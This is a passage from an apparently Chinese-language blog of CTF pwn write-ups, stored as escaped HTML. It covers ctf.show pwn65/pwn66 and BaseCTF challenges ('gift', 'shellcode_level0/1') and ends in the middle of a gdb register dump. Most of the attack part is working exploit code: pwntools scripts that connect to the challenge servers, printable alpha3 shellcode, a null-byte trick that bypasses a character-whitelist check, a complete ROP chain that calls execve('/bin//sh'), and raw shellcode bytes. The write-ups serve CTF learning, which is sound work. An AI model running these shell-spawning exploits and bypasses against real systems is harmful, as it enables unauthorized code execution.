rax<\/p>\n\n\n\n<p>\u6240\u4ee5\u5bf9shellcode\u7684\u9650\u5236\u5c31\u662f\u8f93\u5165\u7684shellcode\u5b57\u7b26\u5185\u5bb9\u5fc5\u987b\u5168\u90e8\u57280x60~0x7A<\/p>\n\n\n\n<p>\uff08\u5f53\u7136\u8fd8\u6709\u53e6\u5916\u4e24\u4e2a\u5224\u65ad\u8def\u5f84\uff0c\u4e0d\u518d\u8d58\u8ff0\uff0c\u4e00\u4e2a\u62ff\u5230\u7684\u76ee\u6807\u8303\u56f4\u662f0x2F~0X5A,\u4e00\u4e2a\u662f0X40~0X5A\uff0c\u5408\u5e76\u8d77\u6765\u5c31\u662f0x2F~0X5A\uff09<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u5c31\u662f\u8981\u6c42\u8f93\u5165\u7684shellcode\u4e3a\u53ef\u89c1\u5b57\u7b26\uff0c\u5229\u7528alpha3\u751f\u6210<\/p>\n\n\n\n<p>\u9996\u5148\u5229\u7528pwntools\u751f\u6210\u4e00\u4e2ashellcode<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context.arch='amd64'<br>sc = asm(shellcraft.sh())<br>with open('sc', 'bw') as f:<br>    f.write(sc)<\/code><\/pre>\n\n\n\n<p>\u5c06\u4e0a\u8ff0\u4ee3\u7801\u4fdd\u5b58\u6210sc.py\u653e\u5230alpha3\u76ee\u5f55\u4e0b\uff0c\u7136\u540e\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u751f\u6210\u5f85\u7f16\u7801\u7684shellcode\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd alpha3<br>python3 sc.py &gt; sc<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528alpha3\u751f\u6210string.printable \uff08\u8fd9\u91cc\u5f97\u7528 python2\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python2 .\/ALPHA3.py x64 ascii mixedcase rax --input=\"sc\"<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a call rax \uff0c\u6240\u4ee5 base \u662f rax\uff0c\u5f97\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H<\/code><\/pre>\n\n\n\n<p>\u6700\u7ec8exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>io = remote(\"pwn.challenge.ctf.show\",28261)<br>payload = b\"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t\"<br>io.send(payload)<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\uff08\u4e0d\u80fd\u7528sendline\uff0c\u56e0\u4e3a\u6362\u884c\u7b26\u662f0x10\uff0c\u4e0d\u5728\u5b57\u7b26\u4e32\u53ef\u63a5\u53d7\u8303\u56f4\u5185\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn66<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn\u9644\u4ef6\\\\pwn66'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;No canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>main\u51fd\u6570\u770b\u7740\u662f\u5f88\u666e\u901a\u7684\u4f20\u5165shellcode\u5c31\u80fd\u901a\u7684\u60c5\u51b5<\/p>\n\n\n\n<p>\u4f46\u662f\u5b58\u5728\u4e00\u4e2a\u68c0\u67e5\u673a\u5236<\/p>\n\n\n\n<p>\u8fdb\u5165check\u51fd\u6570<\/p>\n\n\n\n<p>__<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int64 __fastcall check(_BYTE *a1)<br>{<br> &nbsp;_BYTE *i; \/\/ &#91;rsp+18h] &#91;rbp-10h]<br>\u200b<br> &nbsp;while ( *a1 )<br>  {<br> &nbsp; &nbsp;for ( i = &amp;unk_400F20; *i &amp;&amp; *i != *a1; ++i )<br> &nbsp; &nbsp;  ;<br> &nbsp; &nbsp;if ( !*i )<br> &nbsp; &nbsp; &nbsp;return 0LL;<br> &nbsp; &nbsp;++a1;<br>  }<br> &nbsp;return 1LL;<br>}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u662f\u4e00\u4e2a\u51fd\u6570 <code>check<\/code>\uff0c\u5b83\u7684\u4f5c\u7528\u662f\u68c0\u67e5\u8f93\u5165\u7684\u5b57\u7b26\u4e32 <code>a1<\/code> \u4e2d\u7684\u6bcf\u4e2a\u5b57\u7b26\u662f\u5426\u90fd\u5b58\u5728\u4e8e\u4e00\u4e2a\u7279\u5b9a\u7684\u5b57\u7b26\u6570\u7ec4 <code>unk_400F20<\/code> \u4e2d\u3002\u5982\u679c\u6240\u6709\u5b57\u7b26\u90fd\u5b58\u5728\uff0c\u5219\u8fd4\u56de <code>1<\/code>\uff0c\u5426\u5219\u8fd4\u56de <code>0<\/code>\u3002\u4ee5\u4e0b\u662f\u8be6\u7ec6\u7684\u903b\u8f91\u89e3\u91ca\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. \u51fd\u6570\u53c2\u6570\u548c\u5c40\u90e8\u53d8\u91cf<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u53c2\u6570<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><code>_BYTE *a1<\/code>\uff1a\u6307\u5411\u8f93\u5165\u5b57\u7b26\u4e32\u7684\u6307\u9488\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5c40\u90e8\u53d8\u91cf<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li><code>_BYTE *i<\/code>\uff1a\u7528\u4e8e\u904d\u5386 <code>unk_400F20<\/code> \u6570\u7ec4\u7684\u6307\u9488\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">2. \u5916\u5c42\u5faa\u73af\uff1a\u904d\u5386\u8f93\u5165\u5b57\u7b26\u4e32 <code>a1<\/code><\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">while ( *a1 )<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8fd9\u4e2a\u5faa\u73af\u4f1a\u9010\u4e2a\u68c0\u67e5\u8f93\u5165\u5b57\u7b26\u4e32 <code>a1<\/code> \u4e2d\u7684\u6bcf\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u9047\u5230\u5b57\u7b26\u4e32\u7684\u7ed3\u675f\u6807\u5fd7\uff08\u5373 <code>*a1 == 0<\/code>\uff0c\u8868\u793a\u5b57\u7b26\u4e32\u7ed3\u675f\uff09\u3002<\/li>\n\n\n\n<li><code>a1<\/code> \u6307\u9488\u4f1a\u9010\u4e2a\u5b57\u7b26\u5411\u540e\u79fb\u52a8\uff08<code>++a1<\/code>\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. \u5185\u5c42\u5faa\u73af\uff1a\u68c0\u67e5\u5f53\u524d\u5b57\u7b26\u662f\u5426\u5728 <code>unk_400F20<\/code> \u4e2d<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">for ( i = &amp;unk_400F20; *i &amp;&amp; *i != *a1; ++i )<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>i<\/code> \u6307\u9488\u521d\u59cb\u5316\u4e3a\u6307\u5411 <code>unk_400F20<\/code> \u7684\u8d77\u59cb\u4f4d\u7f6e\u3002<\/li>\n\n\n\n<li>\u8fd9\u4e2a\u5faa\u73af\u4f1a\u9010\u4e2a\u68c0\u67e5 <code>unk_400F20<\/code> \u4e2d\u7684\u5b57\u7b26\uff0c\u76f4\u5230\uff1a\n<ul class=\"wp-block-list\">\n<li>\u627e\u5230\u4e0e\u5f53\u524d <code>a1<\/code> \u6307\u5411\u7684\u5b57\u7b26\u76f8\u540c\u7684\u5b57\u7b26\uff08<code>*i == *a1<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u6216\u8005\u5230\u8fbe <code>unk_400F20<\/code> \u7684\u672b\u5c3e\uff08<code>*i == 0<\/code>\uff0c\u8868\u793a\u6570\u7ec4\u7ed3\u675f\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">4. \u5224\u65ad\u903b\u8f91<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u5728 <code>unk_400F20<\/code> \u4e2d\u627e\u5230\u4e86\u4e0e\u5f53\u524d <code>a1<\/code> \u6307\u5411\u7684\u5b57\u7b26\u76f8\u540c\u7684\u5b57\u7b26\uff08<code>*i == *a1<\/code>\uff09\uff0c\u5219\u7ee7\u7eed\u68c0\u67e5\u4e0b\u4e00\u4e2a\u5b57\u7b26\uff08<code>++a1<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u5982\u679c\u5728 <code>unk_400F20<\/code> \u4e2d\u6ca1\u6709\u627e\u5230\u4e0e\u5f53\u524d <code>a1<\/code> \u6307\u5411\u7684\u5b57\u7b26\u76f8\u540c\u7684\u5b57\u7b26\uff08<code>*i == 0<\/code>\uff09\uff0c\u5219\u76f4\u63a5\u8fd4\u56de <code>0LL<\/code>\uff0c\u8868\u793a\u8f93\u5165\u5b57\u7b26\u4e32\u4e2d\u6709\u5b57\u7b26\u4e0d\u5728 <code>unk_400F20<\/code> \u4e2d\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5. \u8fd4\u56de\u503c<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5982\u679c\u8f93\u5165\u5b57\u7b26\u4e32 <code>a1<\/code> \u4e2d\u7684\u6240\u6709\u5b57\u7b26\u90fd\u5728 <code>unk_400F20<\/code> \u4e2d\uff0c\u5219\u5faa\u73af\u4f1a\u6b63\u5e38\u7ed3\u675f\uff0c\u51fd\u6570\u8fd4\u56de <code>1LL<\/code>\u3002<\/li>\n\n\n\n<li>\u5982\u679c\u8f93\u5165\u5b57\u7b26\u4e32\u4e2d\u6709\u4efb\u4f55\u4e00\u4e2a\u5b57\u7b26\u4e0d\u5728 <code>unk_400F20<\/code> \u4e2d\uff0c\u5219\u51fd\u6570\u4f1a\u63d0\u524d\u8fd4\u56de <code>0LL<\/code>\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u603b\u7ed3<\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u662f\u68c0\u67e5\u8f93\u5165\u5b57\u7b26\u4e32 <code>a1<\/code> \u4e2d\u7684\u6bcf\u4e2a\u5b57\u7b26\u662f\u5426\u90fd\u5b58\u5728\u4e8e\u4e00\u4e2a\u9884\u5b9a\u4e49\u7684\u5b57\u7b26\u6570\u7ec4 <code>unk_400F20<\/code> \u4e2d\u3002\u5982\u679c\u6240\u6709\u5b57\u7b26\u90fd\u5b58\u5728\uff0c\u5219\u8fd4\u56de <code>1<\/code>\uff0c\u5426\u5219\u8fd4\u56de <code>0<\/code>\u3002<\/p>\n\n\n\n<p>\u6240\u4ee5\u8ddf\u8fdbunk_400F20<\/p>\n\n\n\n<p>unk_400F20\u91cc\u9762\u5b58\u5728\u4e00\u5b9a\u7684\u5b57\u7b26<\/p>\n\n\n\n<p>\u8fd9\u79cd\u60c5\u51b5\u4e0b\u6709\u4e24\u79cd\u4f20\u5165shellcode\u7684\u65b9\u6cd5<\/p>\n\n\n\n<p>1.while(*a),\u4e5f\u5c31\u662f\u6211\u4eec\u4e00\u822c\u5199\u4ee3\u7801\u7684\u601d\u8def\uff0c\u9047\u5230\\x00\u5c31\u4e0d\u6821\u9a8c\u4e86\uff0c\u6240\u4ee5\u5982\u679cshellcode\u4ee5\\x00\u5f00\u5934\u5c31\u53ef\u4ee5\u76f4\u63a5\u7ed5\u8fc7<\/p>\n\n\n\n<p>\u901a\u8fc7\\x00\u7ed5\u8fc7\u68c0\u67e5\uff0c \u540c\u65f6\u6267\u884c\u6211\u4eec\u8f93\u5165\u7684shellcode\u5c31\u597d\uff0c\\x00B\u540e\u9762\u52a0\u4e0a\u4e00\u4e2a\u5b57\u7b26\uff0c \u5bf9\u5e94\u4e00\u4e2a\u6c47\u7f16\u8bed\u53e5\u3002\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\\x00B\\x22\u3001\\x00B\\x00 \u3001\\x00J\\x00\u7b49\u7b49\u6765\u7ed5\u8fc7\u90a3\u4e2a\u68c0\u67e5\u3002<\/p>\n\n\n\n<p>2.\u53ef\u89c1\u5b57\u7b26shellcode<\/p>\n\n\n\n<p>\u8fd9\u91cc\u7ed9\u51fa\u7684exp\u662f\u7ed5\u8fc7\u7684\u65b9\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>context(arch = 'amd64',os = 'linux',log_level = 'debug')<br>#io = process('.\/pwn')<br>io = remote('pwn.challenge.ctf.show',28128)<br>shellcode = '\\x00\\xc0' &nbsp;+ asm(shellcraft.sh())<br>io.sendline(shellcode)<br>io.interactive()<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u5176\u4ed6\u9898\u76ee<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\">gift \uff08gets\u270c\uff09<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] 'C:\\\\Users\\\\26597\\\\Desktop\\\\pwn\u9644\u4ef6\\\\\u590d\u73b0\u5e73\u53f0\\\\basectf\\\\gift'<br> &nbsp; &nbsp;Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp; &nbsp;RELRO: &nbsp; &nbsp; &nbsp;Partial RELRO<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;Canary found<br> &nbsp; &nbsp;NX: &nbsp; &nbsp; &nbsp; &nbsp; NX unknown - GNU_STACK missing<br> &nbsp; &nbsp;PIE: &nbsp; &nbsp; &nbsp; &nbsp;No PIE (0x400000)<br> &nbsp; &nbsp;Stack: &nbsp; &nbsp; &nbsp;Executable<br> &nbsp; &nbsp;RWX: &nbsp; &nbsp; &nbsp; &nbsp;Has RWX segments<br> &nbsp; &nbsp;SHSTK: &nbsp; &nbsp; &nbsp;Enabled<br> &nbsp; &nbsp;IBT: &nbsp; &nbsp; &nbsp; &nbsp;Enabled<br> &nbsp; &nbsp;Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>from &nbsp;pwn import *<br>from struct import pack<br>io = remote(\"gz.imxbt.cn\",20215)<br># Padding goes here<br>p = b''<br>\u200b<br>p += pack('&lt;Q', 0x0000000000409f9e) # pop rsi ; ret<br>p += pack('&lt;Q', 0x00000000004c50e0) # @ .data<br>p += pack('&lt;Q', 0x0000000000419484) # pop rax ; ret<br>p += b'\/bin\/\/sh'<br>p += pack('&lt;Q', 0x000000000044a5e5) # mov qword ptr &#91;rsi], rax ; ret<br>p += pack('&lt;Q', 0x0000000000409f9e) # pop rsi ; ret<br>p += pack('&lt;Q', 0x00000000004c50e8) # @ .data + 8<br>p += pack('&lt;Q', 0x000000000043d350) # xor rax, rax ; ret<br>p += pack('&lt;Q', 0x000000000044a5e5) # mov qword ptr &#91;rsi], rax ; ret<br>p += pack('&lt;Q', 0x0000000000401f2f) # pop rdi ; ret<br>p += pack('&lt;Q', 0x00000000004c50e0) # @ .data<br>p += pack('&lt;Q', 0x0000000000409f9e) # pop rsi ; ret<br>p += pack('&lt;Q', 0x00000000004c50e8) # @ .data + 8<br>p += pack('&lt;Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret<br>p += pack('&lt;Q', 0x00000000004c50e8) # @ .data + 8<br>p += pack('&lt;Q', 0x4141414141414141) # padding<br>p += pack('&lt;Q', 0x000000000043d350) # xor rax, rax ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000471350) # add rax, 1 ; ret<br>p += pack('&lt;Q', 0x0000000000401ce4) # syscall<br>\u200b<br>payload = b'a' *(0x20+8) + p<br>io.sendlineafter(\"same\",payload)<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u77e5\u9053ROP\u94fe\u8fd9\u79cd\u9898\u76ee\u53ef\u4ee5\u76f4\u63a5\u4ea4\u7ed9ROPgadget\u8fdb\u884c\u4e00\u628a\u68ad<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ROPgadget --binary gift --ropchain<\/pre>\n\n\n\n<p>\u8fd9\u6837\u5c31\u597d\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">orz\uff01 \uff08gets\u270c\uff09<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">shellcode_level0<\/h3>\n\n\n\n<p>\u4f20\u5165shellcode\u5c31\u53ef\u4ee5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>p = remote(\"gz.imxbt.cn\",20373)<br>\u200b<br>\u200b<br>shellcode = b'\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05'<br>p.sendlineafter('shellcode:',shellcode)<br>p.interactive()<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">shellcode_level1<\/h3>\n\n\n\n<p>checksec<\/p>\n\n\n\n<p>64\u4f4d\uff0c\u8003\u70b9\u5f88\u660e\u663e\u5c31\u662f\u4f20shellcode<\/p>\n\n\n\n<p>main\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;void *buf; \/\/ &#91;rsp+0h] &#91;rbp-10h]<br>\u200b<br> &nbsp;buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);<br> &nbsp;if ( buf == (void *)-1LL )<br>  {<br> &nbsp; &nbsp;perror(\"mmap failed\");<br> &nbsp; &nbsp;return 1;<br>  }<br> &nbsp;else<br>  {<br> &nbsp; &nbsp;read(0, buf, 2uLL);<br> &nbsp;  ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);<br> &nbsp; &nbsp;if ( munmap(buf, 0x1000uLL) == -1 )<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;perror(\"munmap failed\");<br> &nbsp; &nbsp; &nbsp;return 1;<br> &nbsp;  }<br> &nbsp; &nbsp;else<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;return 0;<br> &nbsp;  }<br>  }<br>}<\/code><\/pre>\n\n\n\n<p>buf\u533a\u56e0\u4e3ammap\u51fd\u6570\uff0c\u88ab\u5224\u5b9a\u4e3a\u53ef\u8bfb\u53ef\u5199\u53ef\u6267\u884c<\/p>\n\n\n\n<p>\u539f\u672c\u662f\u53ef\u4ee5\u76f4\u63a5\u4f20\u5165shellcode\u8fdbbuf\u533a\u7684<\/p>\n\n\n\n<p>\u4f46\u662f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">read(0, buf, 2uLL);<\/pre>\n\n\n\n<p>\u53ea\u80fd\u8bfb\u4e24\u5b57\u8282\u7684buf\u533a\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);<\/pre>\n\n\n\n<p>\u8fd9\u4e00\u884c\uff0c\u8ba9buf\u533a\u7684\u5185\u5bb9\u53ef\u4ee5\u88ab\u5f53\u4f5c\u4e00\u4e2a\u51fd\u6570\u6765\u6267\u884c<\/p>\n\n\n\n<p>\u4f46\u662f\u6211\u4eec\u4ecd\u7136\u6ca1\u529e\u6cd5\u5229\u7528buf\u533a\u4f20\u5165shellcode\u8fbe\u5230\u63d0\u6743\u7684\u6548\u679c<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u8865\u836f\u554a\ud83d\ude2b\ud83d\ude2b\ud83d\ude2b <strong>\u4e24\u5b57\u8282<\/strong>\u600e\u4e48\u5199<strong>\u7cfb\u7edf\u8c03\u7528<\/strong><\/p>\n\n\n\n<p>\u4e22\u6389\u5de5\u5177\uff0c\u8fd4\u749e\u5f52\u771f\u3002\u5c1d\u8bd5\u7740\u4ece<strong>\u6c47\u7f16<\/strong>\u89d2\u5ea6\u601d\u8003\u601d\u8003\uff1f<\/p>\n\n\n\n<p>\u8bd5\u7740<strong>\u52a8\u6001\u8c03\u8bd5<\/strong>\u89c2\u5bdf\u4e0b<strong>\u5bc4\u5b58\u5668<\/strong>\u7684\u503c\uff1f<\/p>\n<\/blockquote>\n\n\n\n<p>\u9898\u5e72\u5982\u662f\u8bf4<\/p>\n\n\n\n<p>\u6240\u4ee5\u5012\u56de\u53bb\u770bIDA\u548c\u5229\u7528gdb\u8fdb\u884c\u52a8\u6001\u8c03\u8bd5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);<\/pre>\n\n\n\n<p>\u8fd9\u4e00\u53e5\uff0c\u5728\u53cd\u6c47\u7f16\u4e4b\u524d\u7684\u5199\u6cd5\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">.text:0000000000001255 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;rcx<\/pre>\n\n\n\n<p>\u8fd9\u53e5\u5c31\u662f\u5728\u628abuf\u5185\u5bb9\u5f53\u51fd\u6570\u8fdb\u884c\u6267\u884c<\/p>\n\n\n\n<p>\u7528gdb\u8c03\u8bd5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gdb(io,'b *$ rebase(0x1255)' ) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; \/\/$rebase\u5728\u8c03\u8bd5\u5f00PIE\u7684\u7a0b\u5e8f\u7684\u65f6\u5019\u53ef\u4ee5\u76f4\u63a5\u52a0\u4e0a\u7a0b\u5e8f\u7684\u968f\u673a\u5730\u5740<\/pre>\n\n\n\n<p>\u5b9e\u9645\u8c03\u8bd5\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>------- tip of the day (disable with set show-tips off) -------<br>Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> RAX &nbsp;0xfffffffffffffe00<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da88496dd (read+13) \u25c2\u2014 cmp rax, -0x1000 \/* 'H=' *\/<br> RDX &nbsp;2<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a24198 \u2014\u25b8 0x5638c4102240 (main+119) \u25c2\u2014 mov rsi, qword ptr &#91;rbp - 0x10]<br> RIP &nbsp;0x7f8da88496dd (read+13) \u25c2\u2014 cmp rax, -0x1000 \/* 'H=' *\/<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on 